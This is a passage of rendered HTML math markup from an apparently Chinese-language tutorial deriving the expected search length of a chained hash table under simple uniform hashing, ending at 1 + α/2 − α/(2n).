class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)}</span></span></span></span>，在简单均匀散列的假设下，两个元素冲突的期望值为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>E</mi><mo stretchy="false">[</mo><msub><mi>X</mi><mi>i</mi></msub><mi>j</mi><mo stretchy="false">]</mo><mo>=</mo><mi>P</mi><mo stretchy="false">{</mo><mi>h</mi><mo stretchy="false">(</mo><msub><mi>k</mi><mi>i</mi></msub><mo stretchy="false">)</mo><mo>=</mo><mi>h</mi><mo stretchy="false">(</mo><msub><mi>k</mi><mi>j</mi></msub><mo stretchy="false">)</mo><mo stretchy="false">}</mo><mo>=</mo><mfrac><mn>1</mn><mi>m</mi></mfrac></mrow><annotation encoding="application/x-tex">E[X_ij] = P\{h(k_i) = h(k_j)\} = \frac{1}{m}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mopen">{</span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>。</p><p>由于比 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">x_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 早插入的元素不可能在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">x_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的查找路径上，只有比 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">x_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 后插入的才可能在查找路径上（因为链表是头插法），但不一定会在查找路径上，只有当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">x_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mi>j</mi></msub></mrow><annotation encoding="application/x-tex">x_j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 冲突时才会在查找路径上，所以：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><munderover><mo>∑</mo><mrow><mi>j</mi><mo>=</mo><mi>i</mi><mo>+</mo><mn>1</mn></mrow><mi>n</mi></munderover><mi>E</mi><mo stretchy="false">[</mo><msub><mi>X</mi><mi>i</mi></msub><mi>j</mi><mo stretchy="false">]</mo><mo>=</mo><munderover><mo>∑</mo><mrow><mi>j</mi><mo>=</mo><mi>i</mi><mo>+</mo><mn>1</mn></mrow><mi>n</mi></munderover><mi>P</mi><mo stretchy="false">{</mo><mi>h</mi><mo stretchy="false">(</mo><msub><mi>k</mi><mi>i</mi></msub><mo stretchy="false">)</mo><mo>=</mo><mi>h</mi><mo stretchy="false">(</mo><msub><mi>k</mi><mi>j</mi></msub><mo stretchy="false">)</mo><mo stretchy="false">}</mo><mo>=</mo><munderover><mo>∑</mo><mrow><mi>j</mi><mo>=</mo><mi>i</mi><mo>+</mo><mn>1</mn></mrow><mi>n</mi></munderover><mfrac><mn>1</mn><mi>m</mi></mfrac><mo>=</mo><mfrac><mrow><mi>n</mi><mo>−</mo><mi>i</mi></mrow><mi>m</mi></mfrac></mrow><annotation encoding="application/x-tex">\sum_{j=i+1}^n E[X_ij] = \sum_{j=i+1}^n P\{h(k_i) = h(k_j)\} = \sum_{j=i+1}^n \frac{1}{m} = \frac{n - i}{m} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.0652em;vertical-align:-1.4138em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mathnormal mtight">i</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.0652em;vertical-align:-1.4138em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mathnormal mtight">i</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mopen">{</span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.0652em;vertical-align:-1.4138em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mathnormal mtight">i</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0225em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3365em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>那么所有元素的期望查找长度为：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.16em" columnspacing="1em"><mtr><mtd class ="mtr-glue"></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mtable rowspacing="0.25em" columnalign="right left" columnspacing="0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mi>E</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mfrac><mn>1</mn><mi>n</mi></mfrac><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><munderover><mo>∑</mo><mrow><mi>j</mi><mo>=</mo><mi>i</mi><mo>+</mo><mn>1</mn></mrow><mi>n</mi></munderover><mi>E</mi><mo stretchy="false">[</mo><msub><mi>X</mi><mi>i</mi></msub><mi>j</mi><mo stretchy="false">]</mo><mo stretchy="false">)</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mn>1</mn><mo>+</mo><mfrac><mn>1</mn><mrow><mi>n</mi><mi>m</mi></mrow></mfrac><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><mo stretchy="false">(</mo><mi>n</mi><mo>−</mo><mi>i</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mn>1</mn><mo>+</mo><mfrac><mn>1</mn><mrow><mi>n</mi><mi>m</mi></mrow></mfrac><mo stretchy="false">(</mo><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><mi>n</mi><mo>−</mo><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><mi>i</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mn>1</mn><mo>+</mo><mfrac><mn>1</mn><mrow><mi>n</mi><mi>m</mi></mrow></mfrac><mo stretchy="false">(</mo><msup><mi>n</mi><mn>2</mn></msup><mo>−</mo><mfrac><mrow><mi>n</mi><mo stretchy="false">(</mo><mi>n</mi><mo>+</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><mn>2</mn></mfrac><mo stretchy="false">)</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mn>1</mn><mo>+</mo><mfrac><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow><mrow><mn>2</mn><mi>m</mi></mrow></mfrac></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mn>1</mn><mo>+</mo><mfrac><mi>α</mi><mn>2</mn></mfrac><mo>−</mo><mfrac><mi>α</mi><mrow><mn>2</mn><mi>n</mi></mrow></mfrac></mrow></mstyle></mtd></mtr></mtable></mstyle></mtd><mtd class ="mtr-glue"></mtd><mtd class ="mml-eqn-num"></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{equation}\begin{aligned}E &amp;= \frac{1}{n} \sum_{i=1}^n (1 + \sum_{j=i+1}^n E[X_ij]) \\ &amp;= 1 + \frac{1}{nm} \sum_{i=1}^n (n - i) \\ &amp;= 1 + \frac{1}{nm} ( \sum_{i=1}^n n - \sum_{i=1}^n i ) \\ &amp;= 1 + \frac{1}{nm} ( n^2 - \frac{n(n+1)}{2} ) \\ &amp;= 1 + \frac{n-1}{2m} \\ &amp;= 1 + \frac{\alpha}{2}  - \frac{\alpha}{2n} \end{aligned}\end{equation}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:16.6373em;vertical-align:-8.0687em;"></span><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:8.5687em;"><span style="top:-10.5687em;"><span class="pstrut" style="height:10.5687em;"></span><span class="mord"><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:8.5687em;"><span style="top:-10.5687em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span></span></span><span style="top:-7.2035em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span><span style="top:-3.9744em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span><span style="top:-0.9697em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span><span style="top:1.3377em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span><span style="top:3.4313em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:8.0687em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:8.5687em;"><span style="top:-10.5687em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mathnormal mtight">i</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">])</span></span></span><span style="top:-7.2035em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">nm</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">i</span><span class="mclose">)</span></span></span><span style="top:-3.9744em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">nm</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mopen">(</span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal 